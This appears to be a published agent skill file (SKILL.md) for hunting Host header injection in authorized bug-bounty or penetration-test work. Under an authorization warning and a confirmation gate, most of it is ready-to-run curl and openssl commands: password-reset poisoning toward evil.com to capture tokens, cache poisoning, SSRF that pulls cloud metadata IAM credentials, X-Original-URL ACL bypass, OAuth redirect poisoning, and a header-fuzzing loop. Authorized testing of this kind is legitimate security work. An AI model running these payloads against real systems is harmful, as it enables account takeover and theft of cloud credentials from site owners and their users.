hunt-host-header

v2026.09.24

Hunt Host Header Injection

GitHub
Install command
npx skhub add sickn33/hunt-host-header
Markdown
SKILL.md

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-HOST-HEADER — Host Header Injection

Grounding / Provenance

This skill is built from the public Host-header attack literature, not invented payloads. Cite the technique source in your report, never a fabricated ID:

  • Password-reset poisoning class — the canonical write-up is Skelet's/Detectify-era "Practical HTTP Host header attacks" (the Django request.get_host() → password-reset-link case). Many frameworks built the reset URL from the request Host with no ALLOWED_HOSTS-style allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
  • Web cache poisoning via unkeyed Host / X-Forwarded-Host — PortSwigger Research, James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020). These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
  • Routing-based SSRF — PortSwigger Research, "Cracking the lens" / routing-based SSRF (Host header steers the front-end's upstream selection).

When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not verified — a missing citation is always better than a wrong one.


Crown Jewel Targets

Host header injection that reaches password reset links = Critical (ATO for any user).

Highest-value chains:

  • Password reset poisoning → ATO — server builds the reset link from the request Host; attacker sets Host: evil.com; the victim's reset email points the token at the attacker → token captured on click → full ATO. Pre-account-takeover variant: even the victim requesting their own reset leaks the token to evil.com.
  • Web cache poisoning via unkeyed Host — a CDN/reverse proxy caches a response that reflects an attacker X-Forwarded-Host into an absolute URL (script src, link, redirect) → poisoned entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
  • Routing-based SSRF — the front-end uses the Host header itself to pick the upstream; Host: 169.254.169.254 (or an internal hostname) makes it forward your request to that target → cloud metadata / internal admin panels.
  • Path-override SSRF / ACL bypass — IIS/ASP.NET/Spring honour X-Original-URL / X-Rewrite-URL to override the routed path → reach /admin or internal endpoints the edge ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
  • OAuth/OIDC poisoning — Host drives redirect_uri or the OIDC issuer / discovery doc → auth-code or token theft → ATO.

Attack Surface Signals

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

Dangerous header candidates (unkeyed / trusted inputs):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

Step-by-Step Hunting Methodology

Always test against your own registered test account. Never request another user's reset.

Phase 1 — Password Reset Poisoning

# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"your-test-account@target.com"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"

# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"

Confirm: open the reset email in your own test inbox and read the link host. The token must appear under an attacker-controlled host (evil.com, $TARGET.evil.com, or a Collaborator domain) for this to be a real finding. Use a Burp Collaborator domain as the injected host so that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and have proof — see Validation.

Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host

Mechanism: this is a reflection bug, not an OOB bug. The injected host must be reflected into the response body (an absolute URL, script src, <link href>, <base href>, redirect Location, or canonical/og:url) and that response must be cached on a key you do not control. No Collaborator callback is expected from the cache test itself — only later, if a victim's browser loads the poisoned absolute URL.

# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
  | grep -i "canary"

# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.

# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
curl -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED

False-positive killers (mandatory):

  • A reflection that only ever appears for your request (because the header is keyed, e.g. in Vary, or the CDN includes Host in the key) is not poisoning — confirm 2c returns the payload on a request that omits the header.
  • Age: 0 + MISS every time → no shared cache → no mass impact. Demote to self-only / Low.
  • Confirm blast radius from a second machine / fresh egress IP / incognito before claiming "mass". Cache scope is often per-edge / per-cookie / per-geo.

Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)

These operate at different layers. Test them separately; they do not compose into one request.

(3A) Routing-based SSRF — the Host header selects the upstream. The path goes on the request line, exactly as a normal request, because the metadata service / internal host serves plain HTTP and only sees the request line + headers you forward. X-Original-URL is irrelevant here — the EC2 IMDS ignores it.

# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"

# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
  -H "Host: 169.254.169.254" -H "Metadata: true"

# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"

# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"

(3B) Path-override SSRF / ACL bypass — X-Original-URL / X-Rewrite-URL. This is an IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the routed path. The real Host stays put; you are bypassing an edge path ACL, not steering an upstream. Keep the real Host.

# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.

The old probe Host: 169.254.169.254 + X-Original-URL: /latest/meta-data/ was wrong: those two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.

Phase 4 — OAuth / OIDC / SAML Poisoning

# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
  -H "Host: evil.com" | grep -iE "redirect|location|action="

# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
  | grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"

Confirm: the auth code / token must actually be delivered to the attacker host (capture on Collaborator) — a reflected string alone is not ATO.

Phase 5 — Header Fuzzing (Param Miner)

Burp Param Miner → Guess headers is faster and finds unkeyed/cache-affecting headers the list below misses. Manual sweep:

HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
  echo "=== $H ==="
  curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
    | grep -iE "location|x-cache|cf-cache|age|set-cookie"
done

Chain Table

FindingChain toImpact
Reset link host = attacker (own test acct)Collaborator-host injection → capture token on clickCritical — ATO any user
X-Forwarded-Host reflected in absolute URL + cacheable, unkeyedPoison key → clean fetch returns payload → load XSS/redirectHigh — mass cache poisoning
Front-end routes by HostHost: 169.254.169.254 path-on-request-line → credsHigh/Critical — SSRF → cloud creds
X-Original-URL overrides pathReach /admin blocked at edgeHigh — ACL bypass / SSRF
OAuth redirect_uri/issuer built from HostRe-point flow → capture code/token on CollaboratorCritical — ATO via code theft

Validation (house discipline)

✅ Password reset: the token URL in your own test account's email uses an attacker-controlled host. Strongest proof = inject a Collaborator host and show the inbound HTTP hit carrying the token when the link is clicked/previewed (OOB capture). ✅ Cache poison: a request that omits the injected header (fresh egress IP / incognito) still returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or MISS/Age:0 only. ✅ Routing SSRF: real response body from 169.254.169.254 / internal host, or an OOB DNS/HTTP hit on your Collaborator from the front-end (blind case). ✅ Path-override: status/body diff vs the edge-blocked direct request proves the override took. ✅ OAuth/OIDC: the auth code / token is actually delivered to the attacker host (captured), not merely reflected.

Always rule out false positives:

  • Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check Vary, second IP).
  • A 200 echoing your Host string is not SSRF unless the response content came from the internal target or your Collaborator fired.
  • Some mailers rewrite links to a fixed SITE_URL regardless of Host — reflected header in the HTTP response does not guarantee a poisoned email; verify the email body.

Severity:

  • Reset → ATO for any user: Critical
  • Routing SSRF → cloud metadata creds: Critical (if creds usable) / High
  • Cache poisoning → mass XSS/redirect (shared key proven): High
  • Path-override → internal/admin reach: High
  • Reflected only, uncacheable, not in email, no internal reach: Low / informational

When to Use

  • You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
  • You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

Discovery
Tags

No tags published for this skill.

Version
Latest version metadata

Version

v2026.09.24

Published

Sep 24, 2026

Category

Uncategorized

License

MIT

Source path

skills/hunt-host-header

Default branch

main

Latest commit

7b534bc

Tree SHA

8d3d722